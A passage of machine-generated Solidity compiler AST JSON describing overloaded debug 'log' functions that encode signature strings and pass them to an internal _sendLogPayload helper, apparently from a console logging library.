Name","src":"59095:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30602,"mutability":"mutable","name":"p2","nameLocation":"59112:2:15","nodeType":"VariableDeclaration","scope":30619,"src":"59107:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30601,"name":"bool","nodeType":"ElementaryTypeName","src":"59107:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30604,"mutability":"mutable","name":"p3","nameLocation":"59130:2:15","nodeType":"VariableDeclaration","scope":30619,"src":"59116:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30603,"name":"string","nodeType":"ElementaryTypeName","src":"59116:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"59082:51:15"},"returnParameters":{"id":30606,"nodeType":"ParameterList","parameters":[],"src":"59148:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30642,"nodeType":"FunctionDefinition","src":"59263:176:15","nodes":[],"body":{"id":30641,"nodeType":"Block","src":"59332:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c626f6f6c2c626f6f6c29","id":30633,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59382:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3bf5e5379bfb03415fbd47322e912c55a56b102cc24fbed41ca848047f460ae7","typeString":"literal_string \"log(address,uint256,bool,bool)\""},"value":"log(address,uint256,bool,bool)"},{"id":30634,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30621,"src":"59416:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30635,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30623,"src":"59420:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30636,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30625,"src":"59424:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30637,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30627,"src":"59428:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3bf5e5379bfb03415fbd47322e912c55a56b102cc24fbed41ca848047f460ae7","typeString":"literal_string \"log(address,uint256,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30631,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59358:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30632,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59362:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59358:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59358:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30630,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"59342:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59342:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30640,"nodeType":"ExpressionStatement","src":"59342:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59272:3:15","parameters":{"id":30628,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30621,"mutability":"mutable","name":"p0","nameLocation":"59284:2:15","nodeType":"VariableDeclaration","scope":30642,"src":"59276:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30620,"name":"address","nodeType":"ElementaryTypeName","src":"59276:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30623,"mutability":"mutable","name":"p1","nameLocation":"59296:2:15","nodeType":"VariableDeclaration","scope":30642,"src":"59288:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30622,"name":"uint256","nodeType":"ElementaryTypeName","src":"59288:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30625,"mutability":"mutable","name":"p2","nameLocation":"59305:2:15","nodeType":"VariableDeclaration","scope":30642,"src":"59300:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30624,"name":"bool","nodeType":"ElementaryTypeName","src":"59300:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30627,"mutability":"mutable","name":"p3","nameLocation":"59314:2:15","nodeType":"VariableDeclaration","scope":30642,"src":"59309:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30626,"name":"bool","nodeType":"ElementaryTypeName","src":"59309:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"59275:42:15"},"returnParameters":{"id":30629,"nodeType":"ParameterList","parameters":[],"src":"59332:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30665,"nodeType":"FunctionDefinition","src":"59445:182:15","nodes":[],"body":{"id":30664,"nodeType":"Block","src":"59517:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c626f6f6c2c6164647265737329","id":30656,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59567:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a31bfdcce87cf9e77dc577737a291feb3aa727a8fbb8205e53519527c85ff290","typeString":"literal_string \"log(address,uint256,bool,address)\""},"value":"log(address,uint256,bool,address)"},{"id":30657,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30644,"src":"59604:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30658,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30646,"src":"59608:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30659,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30648,"src":"59612:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30660,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30650,"src":"59616:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a31bfdcce87cf9e77dc577737a291feb3aa727a8fbb8205e53519527c85ff290","typeString":"literal_string \"log(address,uint256,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30654,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59543:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30655,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59547:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59543:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59543:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30653,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"59527:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59527:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30663,"nodeType":"ExpressionStatement","src":"59527:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59454:3:15","parameters":{"id":30651,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30644,"mutability":"mutable","name":"p0","nameLocation":"59466:2:15","nodeType":"VariableDeclaration","scope":30665,"src":"59458:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30643,"name":"address","nodeType":"ElementaryTypeName","src":"59458:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30646,"mutability":"mutable","name":"p1","nameLocation":"59478:2:15","nodeType":"VariableDeclaration","scope":30665,"src":"59470:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30645,"name":"uint256","nodeType":"ElementaryTypeName","src":"59470:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30648,"mutability":"mutable","name":"p2","nameLocation":"59487:2:15","nodeType":"VariableDeclaration","scope":30665,"src":"59482:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30647,"name":"bool","nodeType":"ElementaryTypeName","src":"59482:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30650,"mutability":"mutable","name":"p3","nameLocation":"59499:2:15","nodeType":"VariableDeclaration","scope":30665,"src":"59491:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30649,"name":"address","nodeType":"ElementaryTypeName","src":"59491:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"59457:45:15"},"returnParameters":{"id":30652,"nodeType":"ParameterList","parameters":[],"src":"59517:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30688,"nodeType":"FunctionDefinition","src":"59633:188:15","nodes":[],"body":{"id":30687,"nodeType":"Block","src":"59708:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c616464726573732c75696e7432353629","id":30679,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59758:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_100f650ebf81cb406bb4fb842e06128992c5a86986b0eab3b9e965c3254516e6","typeString":"literal_string \"log(address,uint256,address,uint256)\""},"value":"log(address,uint256,address,uint256)"},{"id":30680,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30667,"src":"59798:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30681,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30669,"src":"59802:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30682,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30671,"src":"59806:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30683,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30673,"src":"59810:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_100f650ebf81cb406bb4fb842e06128992c5a86986b0eab3b9e965c3254516e6","typeString":"literal_string \"log(address,uint256,address,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30677,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59734:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30678,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59738:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59734:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59734:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30676,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"59718:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30685,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59718:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30686,"nodeType":"ExpressionStatement","src":"59718:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59642:3:15","parameters":{"id":30674,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30667,"mutability":"mutable","name":"p0","nameLocation":"59654:2:15","nodeType":"VariableDeclaration","scope":30688,"src":"59646:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30666,"name":"address","nodeType":"ElementaryTypeName","src":"59646:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30669,"mutability":"mutable","name":"p1","nameLocation":"59666:2:15","nodeType":"VariableDeclaration","scope":30688,"src":"59658:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30668,"name":"uint256","nodeType":"ElementaryTypeName","src":"59658:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30671,"mutability":"mutable","name":"p2","nameLocation":"59678:2:15","nodeType":"VariableDeclaration","scope":30688,"src":"59670:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30670,"name":"address","nodeType":"ElementaryTypeName","src":"59670:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30673,"mutability":"mutable","name":"p3","nameLocation":"59690:2:15","nodeType":"VariableDeclaration","scope":30688,"src":"59682:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30672,"name":"uint256","nodeType":"ElementaryTypeName","src":"59682:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"59645:48:15"},"returnParameters":{"id":30675,"nodeType":"ParameterList","parameters":[],"src":"59708:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30711,"nodeType":"FunctionDefinition","src":"59827:193:15","nodes":[],"body":{"id":30710,"nodeType":"Block","src":"59908:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c616464726573732c737472696e6729","id":30702,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59958:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1da986ea2505037a166dd31728d673db1dd36bf0935c0201f0d23934a6acafdb","typeString":"literal_string \"log(address,uint256,address,string)\""},"value":"log(address,uint256,address,string)"},{"id":30703,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30690,"src":"59997:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30704,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30692,"src":"60001:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30705,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30694,"src":"60005:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30706,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30696,"src":"60009:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1da986ea2505037a166dd31728d673db1dd36bf0935c0201f0d23934a6acafdb","typeString":"literal_string \"log(address,uint256,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30700,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59934:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30701,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59938:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59934:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30707,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59934:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30699,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"59918:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59918:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30709,"nodeType":"ExpressionStatement","src":"59918:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59836:3:15","parameters":{"id":30697,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30690,"mutability":"mutable","name":"p0","nameLocation":"59848:2:15","nodeType":"VariableDeclaration","scope":30711,"src":"59840:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30689,"name":"address","nodeType":"ElementaryTypeName","src":"59840:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30692,"mutability":"mutable","name":"p1","nameLocation":"59860:2:15","nodeType":"VariableDeclaration","scope":30711,"src":"59852:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30691,"name":"uint256","nodeType":"ElementaryTypeName","src":"59852:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30694,"mutability":"mutable","name":"p2","nameLocation":"59872:2:15","nodeType":"VariableDeclaration","scope":30711,"src":"59864:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30693,"name":"address","nodeType":"ElementaryTypeName","src":"59864:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30696,"mutability":"mutable","name":"p3","nameLocation":"59890:2:15","nodeType":"VariableDeclaration","scope":30711,"src":"59876:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30695,"name":"string","nodeType":"ElementaryTypeName","src":"59876:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"59839:54:15"},"returnParameters":{"id":30698,"nodeType":"ParameterList","parameters":[],"src":"59908:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30734,"nodeType":"FunctionDefinition","src":"60026:182:15","nodes":[],"body":{"id":30733,"nodeType":"Block","src":"60098:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c616464726573732c626f6f6c29","id":30725,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60148:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a1bcc9b3f106a0ac6ebf0cd2eda5f636e4ab1afa891b1acb460dd180f14bb322","typeString":"literal_string \"log(address,uint256,address,bool)\""},"value":"log(address,uint256,address,bool)"},{"id":30726,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30713,"src":"60185:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30727,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30715,"src":"60189:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30728,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30717,"src":"60193:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30729,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30719,"src":"60197:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a1bcc9b3f106a0ac6ebf0cd2eda5f636e4ab1afa891b1acb460dd180f14bb322","typeString":"literal_string \"log(address,uint256,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30723,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60124:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30724,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60128:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60124:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30730,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60124:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30722,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"60108:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30731,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60108:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30732,"nodeType":"ExpressionStatement","src":"60108:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60035:3:15","parameters":{"id":30720,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30713,"mutability":"mutable","name":"p0","nameLocation":"60047:2:15","nodeType":"VariableDeclaration","scope":30734,"src":"60039:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30712,"name":"address","nodeType":"ElementaryTypeName","src":"60039:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30715,"mutability":"mutable","name":"p1","nameLocation":"60059:2:15","nodeType":"VariableDeclaration","scope":30734,"src":"60051:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30714,"name":"uint256","nodeType":"ElementaryTypeName","src":"60051:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30717,"mutability":"mutable","name":"p2","nameLocation":"60071:2:15","nodeType":"VariableDeclaration","scope":30734,"src":"60063:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30716,"name":"address","nodeType":"ElementaryTypeName","src":"60063:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30719,"mutability":"mutable","name":"p3","nameLocation":"60080:2:15","nodeType":"VariableDeclaration","scope":30734,"src":"60075:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30718,"name":"bool","nodeType":"ElementaryTypeName","src":"60075:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"60038:45:15"},"returnParameters":{"id":30721,"nodeType":"ParameterList","parameters":[],"src":"60098:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30757,"nodeType":"FunctionDefinition","src":"60214:188:15","nodes":[],"body":{"id":30756,"nodeType":"Block","src":"60289:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c616464726573732c6164647265737329","id":30748,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60339:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_478d1c625a50f0548fbd6ce5c9463f034dc2ce146c930b3546dac402346457d4","typeString":"literal_string 